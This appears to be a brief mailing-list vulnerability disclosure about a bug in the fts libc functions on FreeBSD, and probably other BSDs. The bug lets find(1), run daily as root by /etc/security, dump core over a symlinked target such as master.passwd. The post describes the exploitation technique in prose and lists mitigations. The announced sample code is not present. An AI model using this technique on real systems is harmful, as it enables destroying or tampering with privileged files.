Yes, this bug is quite easy to exploit. Find(1) runs every day from
/etc/security script. It segfaults, when directory tree is _very_ long, because
of junk pointer to directory name.
Core is created in one of directories from our tree. But if find.core already
exists, it's overwritten. It's possible to create symlink from eg.
master.passwd or something else to find.core, and this file will be
overwritten.
Sample code below.
BTW. Sorry for my poor English.

bug in fts libc functions allows to overwrite any file in system, when
running /etc/security script (executed from 'daily' scripts).
affected systems:
- freebsd (all versions)
- probably openbsd/netbsd
fix:
- limit root's coredump size
- patch libc
